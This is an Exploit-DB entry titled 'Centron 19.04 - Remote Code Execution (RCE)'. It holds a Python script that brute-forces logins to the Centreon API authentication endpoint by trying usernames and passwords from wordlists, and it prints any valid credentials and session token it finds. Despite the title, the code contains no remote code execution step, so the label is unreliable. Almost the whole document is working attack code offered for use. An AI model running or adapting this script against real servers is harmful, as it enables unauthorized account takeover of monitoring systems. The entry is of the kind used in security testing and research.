Exploit-DB #52156
Description: Centron 19.04 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2025-04-10
Author: Starry Sky

Exploit:
# Exploit Title : Centron 19.04 - Remote Code Execution (RCE)
# Tested on Centreon API 19.04.0
# Centreon 19.04 - Login Password Bruteforcer
# Written on 6 Nov 2019
# Referencing API Authentication of the Centreon API document
# Author: st4rry
# centbruteon.py
# Centreon Download Link: https://download.centreon.com/#version-Older
# Dependencies: sys, requests, argparse, termcolor, os

#!/usr/bin/env python3

import sys
import requests
import argparse
from termcolor import colored
import os

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', dest='host', help='Define your target URL', required=True)
    parser.add_argument('-p', dest='port', type=int, help='Specify port number', default=80)
    parser.add_argument('--https', dest='https', action='store_true', help='Use HTTPS instead of HTTP')
    parser.add_argument('-l', dest='username', help='Specific username')
    parser.add_argument('-L', dest='userfile', type=argparse.FileType('r'), help='Username wordlist')
    parser.add_argument('-w', dest='passwfile', type=argparse.FileType('r'), help='Specify Password wordlist', required=True)
    parser.add_argument('--insecure', action='store_true', help='Skip SSL certificate verification')
    parser.add_argument('--ca-bundle', dest='ca_bundle', help='Path to custom CA bundle')
    
    if len(sys.argv) == 1:
        parser.print_help(sys.stderr)
        sys.exit(1)
        
    args = parser.parse_args()

    protocol = 'https' if args.https else 'http'
    server = f"{protocol}://{args.host}:{args.port}"
    user = args.username
    passfile = args.passwfile.read().splitlines()
    userfile = args.userfile
    dirlo = '/centreon/api/index.php?action=authenticate'
    verify_ssl = not args.insecure

    if args.ca_bundle:
        verify_ssl = args.ca_bundle

    if user:
        brute_force_single_user(server, user, passfile, dirlo, verify_ssl)
    elif userfile:
        usrwl = userfile.read().splitlines()
        brute_force_multiple_users(server, usrwl, passfile, dirlo, verify_ssl)
    else:
        print(colored('Something went wrong!', 'red'))
        sys.exit(1)

def brute_force_single_user(server, user, passfile, dirlo, verify_ssl):
    for password in passfile:
        data = {'username': user, 'password': password}
        r = requests.post(f'{server}{dirlo}', data=data, verify=verify_ssl)

        try:
            print('Processing...')
            print(colored('Brute forcing on Server: ', 'yellow') + colored(server, 'yellow') + 
                  colored(' Username: ', 'yellow') + colored(user, 'yellow') + 
                  colored(' Password: ', 'yellow') + colored(password, 'yellow'))

            if r.status_code == 200:
                print(colored('Credentials found: username: ', 'green') + colored(user, 'green') + 
                      colored(' password: ', 'green') + colored(password, 'green') + 
                      colored(' server: ', 'green') + colored(server, 'green'))
                print(colored('Token: ', 'cyan') + colored(r.content.decode(), 'cyan'))
                print('\n')
                break
            else:
                print(colored('403 - Unauthenticated!', 'red'))
        except IndexError:
            print(colored('Something went wrong', 'red'))

def brute_force_multiple_users(server, usrwl, passfile, dirlo, verify_ssl):
    for usr in usrwl:
        for password in passfile:
            data = {'username': usr, 'password': password}
            r = requests.post(f'{server}{dirlo}', data=data, verify=verify_ssl)

            try:
                print('Processing...')
                print(colored('Brute forcing on Server: ', 'yellow') + colored(server, 'yellow') + 
                      colored(' Username: ', 'yellow') + colored(usr, 'yellow') + 
                      colored(' Password: ', 'yellow') + colored(password, 'yellow'))

                if r.status_code == 200:
                    print(colored('Credentials found: username: ', 'green') + colored(usr, 'green') + 
                          colored(' password: ', 'green') + colored(password, 'green') + 
                          colored(' server: ', 'green') + colored(server, 'green'))
                    print(colored('Token: ', 'cyan') + colored(r.content.decode(), 'cyan'))
                    print('\n')
                else:
                    print(colored('403 - Unauthenticated!', 'red'))
            except IndexError:
                print(colored('Something went wrong', 'red'))

if __name__ == '__main__':
    main()